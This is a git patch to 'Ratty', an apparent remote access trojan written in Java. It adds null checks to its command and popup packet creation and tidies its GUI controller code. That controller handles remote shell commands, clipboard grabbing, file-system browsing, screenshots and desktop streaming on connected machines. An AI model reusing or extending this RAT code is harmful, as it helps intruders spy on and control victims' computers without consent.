From aed477cf05897ef999bc42eee1900c76f24b8100 Mon Sep 17 00:00:00 2001 From: Sogomn Date: Sun, 31 Jan 2016 20:35:53 +0100 Subject: [PATCH] Minor changes Fixed a small bug --- Ratty/src/de/sogomn/rat/packet/CommandPacket.java | 9 +++++++-- Ratty/src/de/sogomn/rat/packet/PopupPacket.java | 9 +++++++-- .../de/sogomn/rat/server/gui/RattyGuiController.java | 12 +++++++++--- 3 files changed, 23 insertions(+), 7 deletions(-) diff --git a/Ratty/src/de/sogomn/rat/packet/CommandPacket.java b/Ratty/src/de/sogomn/rat/packet/CommandPacket.java index 9ec42c6..53f059c 100644 --- a/Ratty/src/de/sogomn/rat/packet/CommandPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/CommandPacket.java @@ -85,9 +85,14 @@ public final class CommandPacket extends AbstractPingPongPacket { public static CommandPacket create() { final String input = JOptionPane.showInputDialog(null); - final CommandPacket packet = new CommandPacket(input); - return packet; + if (input != null) { + final CommandPacket packet = new CommandPacket(input); + + return packet; + } else { + return null; + } } } diff --git a/Ratty/src/de/sogomn/rat/packet/PopupPacket.java b/Ratty/src/de/sogomn/rat/packet/PopupPacket.java index cb8d3ac..a35de99 100644 --- a/Ratty/src/de/sogomn/rat/packet/PopupPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/PopupPacket.java @@ -49,9 +49,14 @@ public final class PopupPacket implements IPacket { public static PopupPacket create() { final String input = JOptionPane.showInputDialog(null); - final PopupPacket packet = new PopupPacket(input); - return packet; + if (input != null) { + final PopupPacket packet = new PopupPacket(input); + + return packet; + } else { + return null; + } } } diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java index 13eddab..d09c05f 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java @@ -67,7 +67,8 @@ public final class RattyGuiController implements IServerObserver, IClientObserve } else if (command == RattyGui.CLIPBOARD) { return new ClipboardPacket(); } else if (command == FileTreePanel.REQUEST) { - final String path = serverClient.getTreePanel().getLastPathClicked(); + final FileTreePanel treePanel = serverClient.getTreePanel(); + final String path = treePanel.getLastPathClicked(); final FileSystemPacket packet = new FileSystemPacket(path); return packet; @@ -90,6 +91,7 @@ public final class RattyGuiController implements IServerObserver, IClientObserve final DisplayPanel displayPanel = serverClient.getDisplayPanel(); displayPanel.showFrame(frame, screenWidth, screenHeight); + serverClient.client.addPacket(request); } @@ -111,6 +113,7 @@ public final class RattyGuiController implements IServerObserver, IClientObserve serverClient.logIn(name, os, version); serverClient.setController(this); + gui.addTableRow(id, name, address, os, version); } @@ -124,10 +127,13 @@ public final class RattyGuiController implements IServerObserver, IClientObserve final ScreenshotPacket screenshot = (ScreenshotPacket)packet; handle(serverClient, screenshot); - } else if (packet instanceof DesktopStreamPacket && serverClient.isStreamingDesktop()) { + } else if (packet instanceof DesktopStreamPacket) { + final boolean streamingDesktop = serverClient.isStreamingDesktop(); final DesktopStreamPacket stream = (DesktopStreamPacket)packet; - handle(serverClient, stream); + if (streamingDesktop) { + handle(serverClient, stream); + } } else if (packet instanceof FileSystemPacket) { final FileSystemPacket file = (FileSystemPacket)packet;